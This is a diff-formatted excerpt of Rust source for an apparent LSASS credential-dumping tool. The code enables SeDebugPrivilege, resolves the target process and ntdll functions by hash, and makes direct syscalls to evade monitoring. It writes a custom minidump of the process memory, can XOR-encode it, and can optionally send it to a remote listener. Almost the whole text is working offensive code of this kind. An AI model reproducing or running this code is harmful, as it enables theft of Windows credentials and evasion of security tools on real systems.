pub fn get_process_handle() -> *mut c_void {
|
||||
unsafe { get_process_handle_by_name(0x7384117b, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ) }
|
||||
}
|
||||
|
||||
/// Retrieves the list of modules loaded in the process.
|
||||
/// If the `lsasrv` feature is enabled, it only retrieves the `lsasrv.dll` module.
|
||||
pub fn retrieve_modules(process_handle: *mut c_void) -> Vec<ModuleInfo> {
|
||||
#[cfg(feature = "lsasrv")]
|
||||
return get_modules_info(process_handle, Some(0xe477fbca));
|
||||
#[cfg(not(feature = "lsasrv"))]
|
||||
return get_modules_info(process_handle, None);
|
||||
}
|
||||
|
||||
/// Dumps the memory regions of the specified process.
|
||||
/// It stores the dumped regions in `memory64list` and the raw memory data in `memory_regions`.
|
||||
pub fn perform_memory_dump(
|
||||
process_handle: *mut c_void,
|
||||
module_info_list: &mut Vec<ModuleInfo>,
|
||||
) -> (Vec<MemoryRegion>, Vec<u8>) {
|
||||
let mut memory64list: Vec<MemoryRegion> = Vec::new();
|
||||
let mut memory_regions: Vec<u8> = Vec::new();
|
||||
|
||||
// Unsafe call to dump memory regions of the process.
|
||||
unsafe {
|
||||
dump_memory_regions(
|
||||
process_handle,
|
||||
module_info_list,
|
||||
&mut memory64list,
|
||||
&mut memory_regions,
|
||||
);
|
||||
}
|
||||
|
||||
(memory64list, memory_regions)
|
||||
}
|
||||
|
||||
/// Sends the dump file to a remote host via a network connection.
|
||||
/// Used when the `remote` feature is enabled.
|
||||
#[cfg(feature = "remote")]
|
||||
pub fn handle_output_file(file_bytes_to_use: Vec<u8>, listener_addr: &str, listener_port: u16) {
|
||||
send_file(file_bytes_to_use.clone(), listener_addr, listener_port);
|
||||
}
|
||||
|
||||
/// Saves the dump file locally to disk.
|
||||
/// Used when the `remote` feature is not enabled.
|
||||
#[cfg(not(feature = "remote"))]
|
||||
pub fn handle_output_file(file_bytes_to_use: Vec<u8>, output_file_name: &str) {
|
||||
save_file(file_bytes_to_use, output_file_name);
|
||||
}
|
||||
+108
@@ -0,0 +1,108 @@
|
||||
#![no_std]
|
||||
#![no_main]
|
||||
|
||||
extern crate alloc;
|
||||
use core::ptr::null_mut;
|
||||
|
||||
mod common;
|
||||
mod dump;
|
||||
mod helper;
|
||||
mod mdfile;
|
||||
mod ntapi;
|
||||
|
||||
#[cfg(feature = "remote")]
|
||||
mod remote;
|
||||
|
||||
use helper::{
|
||||
get_process_handle, handle_output_file, initialize_privileges, perform_memory_dump,
|
||||
retrieve_modules,
|
||||
};
|
||||
use mdfile::generate_memory_dump_file;
|
||||
use ntapi::{allocator::NtVirtualAlloc, def::OSVersionInfo, utils::rtl_get_version};
|
||||
|
||||
#[cfg(feature = "verbose")]
|
||||
use libc_print::libc_println;
|
||||
|
||||
#[cfg(feature = "xor")]
|
||||
use crate::common::xor::xor_bytes;
|
||||
|
||||
#[global_allocator]
|
||||
static GLOBAL: NtVirtualAlloc = NtVirtualAlloc;
|
||||
|
||||
#[no_mangle]
|
||||
pub extern "C" fn _start() {
|
||||
#[cfg(not(feature = "remote"))]
|
||||
let output_file_name = "rustive.dmp";
|
||||
|
||||
#[cfg(feature = "remote")]
|
||||
let listener_addr = "localhost";
|
||||
#[cfg(feature = "remote")]
|
||||
let listener_port = 1717;
|
||||
|
||||
#[cfg(feature = "xor")]
|
||||
let xor_key: u8 = 0x17;
|
||||
|
||||
// Enable SeDebugPrivilege.
|
||||
if initialize_privileges() != 0 {
|
||||
return;
|
||||
}
|
||||
|
||||
// Retrieves the handle to the target process.
|
||||
let process_handle = get_process_handle();
|
||||
if process_handle == null_mut() {
|
||||
debug_println!("[-] Failed to retrieve process handle. Exiting!");
|
||||
return;
|
||||
}
|
||||
debug_println!("[+] Process handle: {:?}", process_handle);
|
||||
|
||||
// Retrieve the list of loaded modules in the target process.
|
||||
let mut module_info_list = retrieve_modules(process_handle);
|
||||
if module_info_list.is_empty() {
|
||||
debug_println!("[-] No modules found. Exiting!");
|
||||
return;
|
||||
}
|
||||
|
||||
// Dumps the memory regions of the target process.
|
||||
let (memory64list, memory_regions) = perform_memory_dump(process_handle, &mut module_info_list);
|
||||
|
||||
// Retrieve OS version information.
|
||||
let mut version_info = OSVersionInfo::new();
|
||||
let status = unsafe { rtl_get_version(&mut version_info) };
|
||||
if status != 0 {
|
||||
debug_println!(
|
||||
"[-] Failed to retrieve OS Version from PEB. NTSTATUS: 0x{:X}",
|
||||
status
|
||||
);
|
||||
}
|
||||
|
||||
// Generate the memory dump file.
|
||||
let dump_file_bytes =
|
||||
generate_memory_dump_file(version_info, module_info_list, memory64list, memory_regions);
|
||||
if dump_file_bytes.is_empty() {
|
||||
debug_println!("[-] Failed to create memory dump");
|
||||
return;
|
||||
}
|
||||
|
||||
// Prepare the memory dump file.
|
||||
#[cfg(feature = "xor")]
|
||||
let file_bytes_to_use = xor_bytes(dump_file_bytes.clone(), xor_key);
|
||||
|
||||
#[cfg(not(feature = "xor"))]
|
||||
let file_bytes_to_use = dump_file_bytes.clone();
|
||||
|
||||
// Handle the output.
|
||||
#[cfg(feature = "remote")]
|
||||
handle_output_file(file_bytes_to_use, listener_addr, listener_port);
|
||||
|
||||
#[cfg(not(feature = "remote"))]
|
||||
handle_output_file(file_bytes_to_use, output_file_name);
|
||||
}
|
||||
|
||||
#[cfg(not(test))]
|
||||
use core::panic::PanicInfo;
|
||||
|
||||
#[cfg(not(test))]
|
||||
#[panic_handler]
|
||||
fn panic(_info: &PanicInfo) -> ! {
|
||||
loop {}
|
||||
}
|
||||
+158
@@ -0,0 +1,158 @@
|
||||
#[cfg(feature = "verbose")]
|
||||
use libc_print::libc_println;
|
||||
|
||||
use alloc::{string::String, vec::Vec};
|
||||
|
||||
use crate::{debug_println, ntapi::def::OSVersionInfo};
|
||||
|
||||
// Struct for holding information about a module (DLL), including its base name,
|
||||
// full path, base address in memory, and the size of the memory region it occupies.
|
||||
pub struct ModuleInfo {
|
||||
pub base_name: String,
|
||||
pub full_dll_name: String,
|
||||
pub base_address: usize,
|
||||
pub region_size: usize,
|
||||
}
|
||||
|
||||
// Struct to represent a memory region, storing the base address and region size.
|
||||
pub struct MemoryRegion {
|
||||
pub base_address: usize,
|
||||
pub region_size: usize,
|
||||
}
|
||||
|
||||
// Function that generates a memory dump file in a custom format.
|
||||
// It takes the OS version, list of module information, memory regions, and memory dump data as input.
|
||||
pub fn generate_memory_dump_file(
|
||||
os_version: OSVersionInfo,
|
||||
module_info_list: Vec<ModuleInfo>,
|
||||
memory64list: Vec<MemoryRegion>,
|
||||
regions_memdump: Vec<u8>,
|
||||
) -> Vec<u8> {
|
||||
// Calculate the size of the ModuleList stream.
|
||||
let number_modules = module_info_list.len();
|
||||
let mut modulelist_size = 4; // Starts with 4 bytes for the number of modules.
|
||||
modulelist_size += 108 * number_modules; // Each module takes 108 bytes for basic information.
|
||||
|
||||
// Add the size of the full path names for each module.
|
||||
for module in &module_info_list {
|
||||
let module_fullpath_len = module.full_dll_name.len();
|
||||
modulelist_size += (module_fullpath_len * 2) + 8; // Each path is encoded in UTF-16 (2 bytes per character).
|
||||
}
|
||||
|
||||
// Calculate the offset and size for the Memory64List stream.
|
||||
let mem64list_offset = modulelist_size + 0x7c; // 0x7c is a constant offset before the ModuleList stream starts.
|
||||
let mem64list_size = 16 + 16 * memory64list.len(); // Memory64List contains 16 bytes per memory region entry.
|
||||
let offset_memory_regions = mem64list_offset + mem64list_size; // The actual memory dump data comes after Memory64List.
|
||||
|
||||
// Debug prints to show calculated values if verbose mode is enabled.
|
||||
debug_println!("[+] Total number of modules: {}", number_modules);
|
||||
debug_println!("[+] ModuleListStream size: {}", modulelist_size);
|
||||
debug_println!("[+] Mem64List offset: {}", mem64list_offset);
|
||||
debug_println!("[+] Mem64List size: {}", mem64list_size);
|
||||
debug_println!("[+] Regions memory dump size: {}", regions_memdump.len());
|
||||
debug_println!("[+] Number of memory regions: {}", memory64list.len());
|
||||
|
||||
// **Header section for the dump file**
|
||||
let mut header: Vec<u8> = Vec::new();
|
||||
header.extend(b"MDMP"); // Add the signature "MDMP".
|
||||
header.extend(&[0x93, 0xa7]); // Version information.
|
||||
header.extend(&[0x00, 0x00]);
|
||||
header.extend(&[0x03, 0x00, 0x00, 0x00]); // Header size.
|
||||
header.extend(&[0x20, 0x00, 0x00, 0x00]); // Reserved space in the header.
|
||||
let mut new_vec = Vec::new();
|
||||
new_vec.resize(32 - header.len(), 0); // Pad the header to 32 bytes.
|
||||
header.extend(&new_vec);
|
||||
|
||||
// **Stream Directory**: Specifies the types and offsets of the data streams (ModuleList, Memory64List, etc.).
|
||||
let mut stream_directory: Vec<u8> = Vec::new();
|
||||
stream_directory.extend(&[0x04, 0x00, 0x00, 0x00]); // Type of stream: ModuleList.
|
||||
stream_directory.extend(&(modulelist_size as u32).to_le_bytes()); // ModuleList size.
|
||||
stream_directory.extend(&[0x7c, 0x00, 0x00, 0x00]); // ModuleList offset.
|
||||
|
||||
stream_directory.extend(&[0x07, 0x00, 0x00, 0x00]); // Type of stream: SystemInfo.
|
||||
stream_directory.extend(&[0x38, 0x00, 0x00, 0x00]); // Size of SystemInfo stream.
|
||||
stream_directory.extend(&[0x44, 0x00, 0x00, 0x00]); // Offset of SystemInfo stream.
|
||||
|
||||
stream_directory.extend(&[0x09, 0x00, 0x00, 0x00]); // Type of stream: Memory64List.
|
||||
stream_directory.extend(&(mem64list_size as u32).to_le_bytes()); // Memory64List size.
|
||||
stream_directory.extend(&(mem64list_offset as u32).to_le_bytes()); // Memory64List offset.
|
||||
|
||||
// **SystemInfo stream**: Contains basic information about the OS version.
|
||||
let major_version = os_version.dw_major_version;
|
||||
let minor_version = os_version.dw_minor_version;
|
||||
let build_number = os_version.dw_build_number;
|
||||
let platform_id = os_version.dw_platform_id;
|
||||
let csd_version = " ".encode_utf16().collect::<Vec<u16>>(); // CSDVersion is encoded in UTF-16.
|
||||
|
||||
let mut systeminfo_stream: Vec<u8> = Vec::new();
|
||||
systeminfo_stream.extend(&9u16.to_le_bytes()); // Processor architecture.
|
||||
let mut new_vec = Vec::new();
|
||||
new_vec.resize(6, 0); // Padding.
|
||||
systeminfo_stream.extend(&new_vec);
|
||||
systeminfo_stream.extend(&major_version.to_le_bytes()); // OS major version.
|
||||
systeminfo_stream.extend(&minor_version.to_le_bytes()); // OS minor version.
|
||||
systeminfo_stream.extend(&build_number.to_le_bytes()); // OS build number.
|
||||
systeminfo_stream.extend(&platform_id.to_le_bytes()); // Platform ID.
|
||||
for word in csd_version {
|
||||
systeminfo_stream.extend(&word.to_le_bytes()); // CSDVersion string.
|
||||
}
|
||||
let mut new_vec = Vec::new();
|
||||
new_vec.resize(56 - systeminfo_stream.len(), 0); // Padding to 56 bytes.
|
||||
systeminfo_stream.extend(&new_vec);
|
||||
|
||||
// **ModuleListStream**: Contains details of all modules (DLLs) loaded in the process.
|
||||
let mut modulelist_stream = Vec::new();
|
||||
modulelist_stream.extend(&(number_modules as u32).to_le_bytes()); // Number of modules.
|
||||
|
||||
// Pointer to the location of the full module paths in the file.
|
||||
let mut pointer_index: u64 =
|
||||
0x7c + modulelist_stream.len() as u64 + (108 * number_modules) as u64;
|
||||
|
||||
// For each module, add its base address, region size, and path pointer.
|
||||
for module in &module_info_list {
|
||||
modulelist_stream.extend(&(module.base_address as u64).to_le_bytes());
|
||||
modulelist_stream.extend(&(module.region_size as u64).to_le_bytes());
|
||||
modulelist_stream.extend(&[0; 4]); // Padding.
|
||||
modulelist_stream.extend(&pointer_index.to_le_bytes()); // Pointer to the module's full path.
|
||||
|
||||
pointer_index += ((module.full_dll_name.len() * 2) + 8) as u64; // Update pointer for the next module's path.
|
||||
let mut new_vec = Vec::new();
|
||||
new_vec.resize(108 - (8 + 8 + 4 + 8), 0); // Padding to 108 bytes per module entry.
|
||||
modulelist_stream.extend(&new_vec);
|
||||
}
|
||||
|
||||
// Add the full path names for each module, encoded in UTF-16.
|
||||
for module in &module_info_list {
|
||||
let unicode_bytearr: Vec<u8> = module
|
||||
.full_dll_name
|
||||
.encode_utf16()
|
||||
.flat_map(|c| c.to_le_bytes())
|
||||
.collect();
|
||||
|
||||
modulelist_stream.extend(&((module.full_dll_name.len() * 2) as u32).to_le_bytes()); // Path length.
|
||||
modulelist_stream.extend(unicode_bytearr.clone()); // Encoded path.
|
||||
let mut new_vec = Vec::new();
|
||||
new_vec.resize(4, 0); // Padding.
|
||||
modulelist_stream.extend(&new_vec);
|
||||
}
|
||||
|
||||
// **Memory64ListStream**: Contains memory region information.
|
||||
let mut memory64list_stream: Vec<u8> = Vec::new();
|
||||
memory64list_stream.extend(&(memory64list.len() as u64).to_le_bytes()); // Number of memory regions.
|
||||
memory64list_stream.extend(&(offset_memory_regions as u64).to_le_bytes()); // Offset to memory dump data.
|
||||
for mem64 in &memory64list {
|
||||
memory64list_stream.extend(&(mem64.base_address as u64).to_le_bytes()); // Memory region base address.
|
||||
memory64list_stream.extend(&(mem64.region_size as u64).to_le_bytes()); // Memory region size.
|
||||
}
|
||||
|
||||
// **Final dump file**: Concatenate all sections to create the final memory dump file.
|
||||
let mut dump_file = Vec::new();
|
||||
dump_file.extend(header); // Add header.
|
||||
dump_file.extend(stream_directory); // Add stream directory.
|
||||
dump_file.extend(systeminfo_stream); // Add system info stream.
|
||||
dump_file.extend(modulelist_stream); // Add module list stream.
|
||||
dump_file.extend(memory64list_stream); // Add memory64 list stream.
|
||||
dump_file.extend(regions_memdump); // Add raw memory dump.
|
||||
|
||||
dump_file // Return the final memory dump file as a byte vector.
|
||||
}
|
||||
@@ -0,0 +1,152 @@
|
||||
use core::alloc::{GlobalAlloc, Layout};
|
||||
use core::cell::UnsafeCell;
|
||||
use core::ffi::c_void;
|
||||
use core::ptr::null_mut;
|
||||
use core::sync::atomic::Ordering;
|
||||
use core::sync::atomic::{AtomicBool, AtomicIsize};
|
||||
|
||||
use crate::common::ldrapi::{ldr_function, ldr_module};
|
||||
use crate::run_syscall;
|
||||
|
||||
use super::syscall::NtSyscall;
|
||||
use super::syscall_gate::get_ssn;
|
||||
|
||||
// Atomic flag contains the last status of an NT syscall.
|
||||
pub static NT_ALLOCATOR_STATUS: AtomicIsize = AtomicIsize::new(0);
|
||||
|
||||
// Atomic flag to ensure initialization happens only once.
|
||||
static INIT: AtomicBool = AtomicBool::new(false);
|
||||
|
||||
// Static variables to hold the configuration and syscall information, wrapped in UnsafeCell for interior mutability.
|
||||
static mut NT_ALLOCATE_VIRTUAL_MEMORY_SYSCALL: UnsafeCell<Option<NtSyscall>> =
|
||||
UnsafeCell::new(None);
|
||||
|
||||
static mut NT_FREE_VIRTUAL_MEMORY_SYSCALL: UnsafeCell<Option<NtSyscall>> = UnsafeCell::new(None);
|
||||
|
||||
/// Unsafe function to perform the initialization of the static variables.
|
||||
/// This includes locating and storing the addresses and syscall numbers for `NtAllocateVirtualMemory` and `NtFreeVirtualMemory`.
|
||||
pub unsafe fn initialize() {
|
||||
// Check if initialization has already occurred.
|
||||
if !INIT.load(Ordering::Acquire) {
|
||||
// Get the address of ntdll module in memory.
|
||||
let ntdll_address = ldr_module(0x1edab0ed);
|
||||
|
||||
// Initialize the syscall for NtAllocateVirtualMemory.
|
||||
let alloc_syscall_address = ldr_function(ntdll_address, 0xf783b8ec);
|
||||
let alloc_syscall = NtSyscall {
|
||||
address: alloc_syscall_address,
|
||||
number: get_ssn(alloc_syscall_address),
|
||||
hash: 0xf783b8ec,
|
||||
};
|
||||
|
||||
*NT_ALLOCATE_VIRTUAL_MEMORY_SYSCALL.get() = Some(alloc_syscall);
|
||||
|
||||
// Initialize the syscall for NtFreeVirtualMemory.
|
||||
let free_syscall_address = ldr_function(ntdll_address, 0x2802c609);
|
||||
let free_syscall = NtSyscall {
|
||||
address: free_syscall_address,
|
||||
number: get_ssn(free_syscall_address),
|
||||
hash: 0x2802c609,
|
||||
};
|
||||
|
||||
*NT_FREE_VIRTUAL_MEMORY_SYSCALL.get() = Some(free_syscall);
|
||||
|
||||
// Set the initialization flag to true.
|
||||
INIT.store(true, Ordering::Release);
|
||||
}
|
||||
}
|
||||
|
||||
/// Function to ensure that initialization is performed if it hasn't been already.
|
||||
fn ensure_initialized() {
|
||||
unsafe {
|
||||
if !INIT.load(Ordering::Acquire) {
|
||||
initialize();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Function to get a reference to the NtAllocateVirtualMemory syscall, ensuring initialization first.
|
||||
fn get_nt_allocate_virtual_memory_syscall() -> &'static NtSyscall {
|
||||
ensure_initialized();
|
||||
unsafe {
|
||||
NT_ALLOCATE_VIRTUAL_MEMORY_SYSCALL
|
||||
.get()
|
||||
.as_ref()
|
||||
.unwrap()
|
||||
.as_ref()
|
||||
.unwrap()
|
||||
}
|
||||
}
|
||||
|
||||
/// Function to get a reference to the NtFreeVirtualMemory syscall, ensuring initialization first.
|
||||
fn get_nt_free_virtual_memory_syscall() -> &'static NtSyscall {
|
||||
ensure_initialized();
|
||||
unsafe {
|
||||
NT_FREE_VIRTUAL_MEMORY_SYSCALL
|
||||
.get()
|
||||
.as_ref()
|
||||
.unwrap()
|
||||
.as_ref()
|
||||
.unwrap()
|
||||
}
|
||||
}
|
||||
|
||||
/// Custom allocator using NT system calls.
|
||||
pub struct NtVirtualAlloc;
|
||||
|
||||
unsafe impl GlobalAlloc for NtVirtualAlloc {
|
||||
/// Allocates memory as described by the given `layout` using NT system calls.
|
||||
///
|
||||
/// This function uses the `NtAllocateVirtualMemory` system call to allocate memory.
|
||||
/// The memory is allocated with `PAGE_READWRITE` protection, which allows both
|
||||
/// reading and writing. This is appropriate for most use cases like vectors and strings.
|
||||
unsafe fn alloc(&self, layout: Layout) -> *mut u8 {
|
||||
// Pointer to the allocated memory.
|
||||
let mut p_address: *mut c_void = null_mut();
|
||||
// Size of the memory to allocate.
|
||||
let region_size = layout.size();
|
||||
// Handle to the current process (-1).
|
||||
let h_process: *mut u8 = -1isize as _;
|
||||
|
||||
let alloc_syscall = get_nt_allocate_virtual_memory_syscall();
|
||||
|
||||
let ntstatus = run_syscall!(
|
||||
(*alloc_syscall).number,
|
||||
(*alloc_syscall).address as usize,
|
||||
h_process,
|
||||
&mut p_address,
|
||||
0,
|
||||
&mut (region_size as usize) as *mut usize,
|
||||
0x3000, // MEM_COMMIT | MEM_RESERVE
|
||||
0x04 // PAGE_READWRITE
|
||||
);
|
||||
|
||||
NT_ALLOCATOR_STATUS.store(ntstatus as isize, Ordering::SeqCst);
|
||||
|
||||
// If the allocation fails, return null; otherwise, return the allocated address.
|
||||
p_address as *mut u8
|
||||
}
|
||||
|
||||
/// Deallocates the block of memory at the given `ptr` pointer with the given `layout` using NT system calls.
|
||||
///
|
||||
/// This function uses the `NtFreeVirtualMemory` system call to deallocate memory.
|
||||
unsafe fn dealloc(&self, ptr: *mut u8, layout: Layout) {
|
||||
// Size of the memory to deallocate.
|
||||
let mut region_size = layout.size();
|
||||
// Handle to the current process (-1).
|
||||
let h_process: *mut u8 = -1isize as _;
|
||||
|
||||
let free_syscall = get_nt_free_virtual_memory_syscall();
|
||||
|
||||
let ntstatus = run_syscall!(
|
||||
(*free_syscall).number,
|
||||
(*free_syscall).address as usize,
|
||||
h_process,
|
||||
&mut (ptr as *mut c_void),
|
||||
&mut region_size,
|
||||
0x8000 // MEM_RELEASE
|
||||
);
|
||||
|
||||
NT_ALLOCATOR_STATUS.store(ntstatus as isize, Ordering::SeqCst);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,515 @@
|
||||
use core::{
|
||||
arch::asm,
|
||||
ffi::{c_long, c_ulong, c_void},
|
||||
ptr,
|
||||
};
|
||||
|
||||
use crate::common::utils::string_length_w;
|
||||
|
||||
pub const PROCESS_QUERY_INFORMATION: AccessMask = 0x0400;
|
||||
pub const PROCESS_VM_READ: AccessMask = 0x0010;
|
||||
|
||||
pub const IMAGE_DOS_SIGNATURE: u16 = 0x5A4D; // "MZ"
|
||||
pub const IMAGE_NT_SIGNATURE: u32 = 0x00004550; // "PE\0\0"
|
||||
|
||||
// Definition of LIST_ENTRY
|
||||
#[repr(C)]
|
||||
#[derive(Copy, Clone)]
|
||||
pub struct ListEntry {
|
||||
pub flink: *mut ListEntry,
|
||||
pub blink: *mut ListEntry,
|
||||
}
|
||||
|
||||
// Definition of UNICODE_STRING
|
||||
#[repr(C)]
|
||||
pub struct UnicodeString {
|
||||
pub length: u16,
|
||||
pub maximum_length: u16,
|
||||
pub buffer: *mut u16,
|
||||
}
|
||||
|
||||
impl UnicodeString {
|
||||
pub fn new() -> Self {
|
||||
UnicodeString {
|
||||
length: 0,
|
||||
maximum_length: 0,
|
||||
buffer: ptr::null_mut(),
|
||||
}
|
||||
}
|
||||
|
||||
// RtlInitUnicodeString
|
||||
pub fn init(&mut self, source_string: *const u16) {
|
||||
if !source_string.is_null() {
|
||||
let dest_size = string_length_w(source_string) * 2;
|
||||
self.length = dest_size as u16;
|
||||
self.maximum_length = (dest_size + 2) as u16;
|
||||
self.buffer = source_string as *mut u16;
|
||||
} else {
|
||||
self.length = 0;
|
||||
self.maximum_length = 0;
|
||||
self.buffer = ptr::null_mut();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub type ULONG = c_ulong;
|
||||
pub type HANDLE = *mut c_void;
|
||||
pub type AccessMask = ULONG;
|
||||
|
||||
#[repr(C)]
|
||||
pub struct ObjectAttributes {
|
||||
pub length: ULONG,
|
||||
pub root_directory: HANDLE,
|
||||
pub object_name: *mut UnicodeString,
|
||||
pub attributes: ULONG,
|
||||
pub security_descriptor: *mut c_void,
|
||||
pub security_quality_of_service: *mut c_void,
|
||||
}
|
||||
|
||||
impl ObjectAttributes {
|
||||
pub fn new() -> Self {
|
||||
ObjectAttributes {
|
||||
length: 0,
|
||||
root_directory: ptr::null_mut(),
|
||||
object_name: ptr::null_mut(),
|
||||
attributes: 0,
|
||||
security_descriptor: ptr::null_mut(),
|
||||
security_quality_of_service: ptr::null_mut(),
|
||||
}
|
||||
}
|
||||
|
||||
//InitializeObjectAttributes
|
||||
pub fn initialize(
|
||||
p: &mut ObjectAttributes,
|
||||
n: *mut UnicodeString,
|
||||
a: ULONG,
|
||||
r: HANDLE,
|
||||
s: *mut c_void,
|
||||
) {
|
||||
p.length = core::mem::size_of::<ObjectAttributes>() as ULONG;
|
||||
p.root_directory = r;
|
||||
p.attributes = a;
|
||||
p.object_name = n;
|
||||
p.security_descriptor = s;
|
||||
p.security_quality_of_service = ptr::null_mut();
|
||||
}
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct MemoryBasicInformation {
|
||||
pub base_address: *mut c_void,
|
||||
pub allocation_base: *mut c_void,
|
||||
pub allocation_protect: u32,
|
||||
pub region_size: u64,
|
||||
pub state: u32,
|
||||
pub protect: u32,
|
||||
pub r#type: u32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct ProcessBasicInformation {
|
||||
pub exit_status: i32,
|
||||
pub peb_base_address: *mut c_void,
|
||||
pub affinity_mask: usize,
|
||||
pub base_priority: i32,
|
||||
pub unique_process_id: *mut c_void,
|
||||
pub inherited_from_unique_process_id: *mut c_void,
|
||||
}
|
||||
|
||||
pub const MEM_COMMIT: u32 = 0x1000;
|
||||
pub const PAGE_NOACCESS: u32 = 0x01;
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy)]
|
||||
pub struct LargeInteger {
|
||||
pub low_part: u32,
|
||||
pub high_part: i32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Copy, Clone)]
|
||||
pub struct SectionPointer {
|
||||
pub section_pointer: *mut c_void,
|
||||
pub check_sum: c_ulong,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub union HashLinksOrSectionPointer {
|
||||
pub hash_links: ListEntry,
|
||||
pub section_pointer: SectionPointer,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub union TimeDateStampOrLoadedImports {
|
||||
pub time_date_stamp: c_ulong,
|
||||
pub loaded_imports: *mut c_void,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct LoaderDataTableEntry {
|
||||
pub in_load_order_links: ListEntry,
|
||||
pub in_memory_order_links: ListEntry,
|
||||
pub in_initialization_order_links: ListEntry,
|
||||
pub dll_base: *mut c_void,
|
||||
pub entry_point: *mut c_void,
|
||||
pub size_of_image: c_ulong,
|
||||
pub full_dll_name: UnicodeString,
|
||||
pub base_dll_name: UnicodeString,
|
||||
pub flags: c_ulong,
|
||||
pub load_count: i16,
|
||||
pub tls_index: i16,
|
||||
pub hash_links_or_section_pointer: HashLinksOrSectionPointer,
|
||||
pub time_date_stamp_or_loaded_imports: TimeDateStampOrLoadedImports,
|
||||
pub entry_point_activation_context: *mut c_void,
|
||||
pub patch_information: *mut c_void,
|
||||
pub forwarder_links: ListEntry,
|
||||
pub service_tag_links: ListEntry,
|
||||
pub static_links: ListEntry,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct PebLoaderData {
|
||||
pub length: c_ulong,
|
||||
pub initialized: c_ulong,
|
||||
pub ss_handle: *mut c_void,
|
||||
pub in_load_order_module_list: ListEntry,
|
||||
pub in_memory_order_module_list: ListEntry,
|
||||
pub in_initialization_order_module_list: ListEntry,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct PEB {
|
||||
pub inherited_address_space: bool,
|
||||
pub read_image_file_exec_options: bool,
|
||||
pub being_debugged: bool,
|
||||
pub spare: bool,
|
||||
pub mutant: *mut c_void,
|
||||
pub image_base: *mut c_void,
|
||||
pub loader_data: *const PebLoaderData,
|
||||
pub process_parameters: *const RtlUserProcessParameters,
|
||||
pub sub_system_data: *mut c_void,
|
||||
pub process_heap: *mut c_void,
|
||||
pub fast_peb_lock: *mut c_void,
|
||||
pub fast_peb_lock_routine: *mut c_void,
|
||||
pub fast_peb_unlock_routine: *mut c_void,
|
||||
pub environment_update_count: c_ulong,
|
||||
pub kernel_callback_table: *const *mut c_void,
|
||||
pub event_log_section: *mut c_void,
|
||||
pub event_log: *mut c_void,
|
||||
pub free_list: *mut c_void,
|
||||
pub tls_expansion_counter: c_ulong,
|
||||
pub tls_bitmap: *mut c_void,
|
||||
pub tls_bitmap_bits: [c_ulong; 2],
|
||||
pub read_only_shared_memory_base: *mut c_void,
|
||||
pub read_only_shared_memory_heap: *mut c_void,
|
||||
pub read_only_static_server_data: *const *mut c_void,
|
||||
pub ansi_code_page_data: *mut c_void,
|
||||
pub oem_code_page_data: *mut c_void,
|
||||
pub unicode_case_table_data: *mut c_void,
|
||||
pub number_of_processors: c_ulong,
|
||||
pub nt_global_flag: c_ulong,
|
||||
pub spare_2: [u8; 4],
|
||||
pub critical_section_timeout: i64,
|
||||
pub heap_segment_reserve: c_ulong,
|
||||
pub heap_segment_commit: c_ulong,
|
||||
pub heap_de_commit_total_free_threshold: c_ulong,
|
||||
pub heap_de_commit_free_block_threshold: c_ulong,
|
||||
pub number_of_heaps: c_ulong,
|
||||
pub maximum_number_of_heaps: c_ulong,
|
||||
pub process_heaps: *const *const *mut c_void,
|
||||
pub gdi_shared_handle_table: *mut c_void,
|
||||
pub process_starter_helper: *mut c_void,
|
||||
pub gdi_dc_attribute_list: *mut c_void,
|
||||
pub loader_lock: *mut c_void,
|
||||
pub os_major_version: c_ulong,
|
||||
pub os_minor_version: c_ulong,
|
||||
pub os_build_number: c_ulong,
|
||||
pub os_platform_id: c_ulong,
|
||||
pub image_sub_system: c_ulong,
|
||||
pub image_sub_system_major_version: c_ulong,
|
||||
pub image_sub_system_minor_version: c_ulong,
|
||||
pub gdi_handle_buffer: [c_ulong; 22],
|
||||
pub post_process_init_routine: c_ulong,
|
||||
pub tls_expansion_bitmap: c_ulong,
|
||||
pub tls_expansion_bitmap_bits: [u8; 80],
|
||||
pub session_id: c_ulong,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct RtlUserProcessParameters {
|
||||
pub maximum_length: u32,
|
||||
pub length: u32,
|
||||
pub flags: u32,
|
||||
pub debug_flags: u32,
|
||||
pub console_handle: *mut c_void,
|
||||
pub console_flags: u32,
|
||||
pub standard_input: *mut c_void,
|
||||
pub standard_output: *mut c_void,
|
||||
pub standard_error: *mut c_void,
|
||||
pub current_directory_path: UnicodeString,
|
||||
pub current_directory_handle: *mut c_void,
|
||||
pub dll_path: UnicodeString,
|
||||
pub image_path_name: UnicodeString,
|
||||
pub command_line: UnicodeString,
|
||||
pub environment: *mut c_void,
|
||||
pub starting_x: u32,
|
||||
pub starting_y: u32,
|
||||
pub count_x: u32,
|
||||
pub count_y: u32,
|
||||
pub count_chars_x: u32,
|
||||
pub count_chars_y: u32,
|
||||
pub fill_attribute: u32,
|
||||
pub window_flags: u32,
|
||||
pub show_window_flags: u32,
|
||||
pub window_title: UnicodeString,
|
||||
pub desktop_info: UnicodeString,
|
||||
pub shell_info: UnicodeString,
|
||||
pub runtime_data: UnicodeString,
|
||||
pub current_directories: [UnicodeString; 32],
|
||||
pub environment_size: u32,
|
||||
pub environment_version: u32,
|
||||
pub package_dependency_data: *mut c_void,
|
||||
pub process_group_id: u32,
|
||||
pub loader_threads: u32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct ImageDosHeader {
|
||||
pub e_magic: u16,
|
||||
pub e_cblp: u16,
|
||||
pub e_cp: u16,
|
||||
pub e_crlc: u16,
|
||||
pub e_cparhdr: u16,
|
||||
pub e_minalloc: u16,
|
||||
pub e_maxalloc: u16,
|
||||
pub e_ss: u16,
|
||||
pub e_sp: u16,
|
||||
pub e_csum: u16,
|
||||
pub e_ip: u16,
|
||||
pub e_cs: u16,
|
||||
pub e_lfarlc: u16,
|
